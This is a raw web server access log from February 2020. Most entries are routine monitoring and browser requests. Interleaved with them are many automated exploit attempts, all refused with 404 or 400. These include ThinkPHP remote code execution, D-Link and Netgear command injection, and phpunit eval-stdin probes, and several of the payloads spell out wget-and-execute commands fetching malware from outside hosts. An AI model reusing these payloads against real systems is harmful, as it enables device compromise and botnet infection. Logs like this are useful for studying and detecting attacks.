212.91.246.72 - - [07/Feb/2020:14:08:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.175.138.75 - - [07/Feb/2020:14:09:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [07/Feb/2020:14:09:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.88.102 - - [07/Feb/2020:14:11:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.119.104 - - [07/Feb/2020:14:12:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:14:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:13:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.183.84 - - [07/Feb/2020:14:14:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.229.218 - - [07/Feb/2020:14:14:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:14:14:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.46.34.93 - - [07/Feb/2020:14:14:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:14:15:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.207.9.98 - - [07/Feb/2020:14:16:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:14:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.67.90.103 - - [07/Feb/2020:14:17:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
62.173.149.52 - - [07/Feb/2020:14:17:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.149.52 - - [07/Feb/2020:14:17:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.149.52 - - [07/Feb/2020:14:17:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.149.52 - - [07/Feb/2020:14:17:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.149.52 - - [07/Feb/2020:14:17:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.149.52 - - [07/Feb/2020:14:17:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
197.47.17.72 - - [07/Feb/2020:14:17:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
62.173.149.52 - - [07/Feb/2020:14:17:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.149.52 - - [07/Feb/2020:14:18:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.149.52 - - [07/Feb/2020:14:18:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.149.52 - - [07/Feb/2020:14:18:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [07/Feb/2020:14:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:19:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.104.226 - - [07/Feb/2020:14:20:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:14:20:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.101.58.23 - - [07/Feb/2020:14:21:03 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
212.91.246.72 - - [07/Feb/2020:14:21:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:23:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:24:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.136.57 - - [07/Feb/2020:14:25:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:14:25:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:26:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.54.37.77 - - [07/Feb/2020:14:27:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:14:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:28:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:29:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:30:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:31:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:32:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:33:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:34:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:35:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:36:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.39.130.203 - - [07/Feb/2020:14:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:14:37:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.35.173.108 - - [07/Feb/2020:14:37:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
1.55.73.112 - - [07/Feb/2020:14:37:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.51.22.221 - - [07/Feb/2020:14:38:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
119.42.102.248 - - [07/Feb/2020:14:38:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
213.248.188.184 - - [07/Feb/2020:14:38:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:14:38:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:39:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.170.54 - - [07/Feb/2020:14:41:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.211.46.94 - - [07/Feb/2020:14:41:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:14:41:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.248.141.70 - - [07/Feb/2020:14:41:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:14:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.119.104 - - [07/Feb/2020:14:43:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:14:43:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.146.76 - - [07/Feb/2020:14:43:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
201.131.184.224 - - [07/Feb/2020:14:43:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
112.160.110.48 - - [07/Feb/2020:14:44:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:14:44:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.160.110.48 - - [07/Feb/2020:14:44:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [07/Feb/2020:14:44:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
46.43.90.83 - - [07/Feb/2020:14:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
46.43.90.83 - - [07/Feb/2020:14:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
112.160.110.48 - - [07/Feb/2020:14:44:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [07/Feb/2020:14:45:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
89.190.76.126 - - [07/Feb/2020:14:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [07/Feb/2020:14:45:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.85.0.52 - - [07/Feb/2020:14:45:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:14:46:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.237.40.172 - - [07/Feb/2020:14:47:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:14:47:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.88.102 - - [07/Feb/2020:14:47:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:14:48:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:49:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.232.251.80 - - [07/Feb/2020:14:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
168.232.13.90 - - [07/Feb/2020:14:49:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:14:50:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.122.236.23 - - [07/Feb/2020:14:50:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:14:51:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [07/Feb/2020:14:52:28 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:14:52:32 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:14:52:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:53:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.81.220.145 - - [07/Feb/2020:14:54:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.117.251.15 - - [07/Feb/2020:14:54:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:14:54:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.124 - - [07/Feb/2020:14:54:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [07/Feb/2020:14:55:23 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:14:55:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:56:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.1.227.165 - - [07/Feb/2020:14:57:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.1.227.165 - - [07/Feb/2020:14:57:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.249.65.120 - - [07/Feb/2020:14:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
197.1.227.165 - - [07/Feb/2020:14:57:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:14:57:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.1.227.165 - - [07/Feb/2020:14:58:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:14:58:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:14:59:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:00:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:01:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.93.28.224 - - [07/Feb/2020:15:01:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:15:02:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [07/Feb/2020:15:02:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [07/Feb/2020:15:03:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [07/Feb/2020:15:03:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [07/Feb/2020:15:03:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:15:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [07/Feb/2020:15:03:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:15:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.82.246 - - [07/Feb/2020:15:06:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:15:06:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
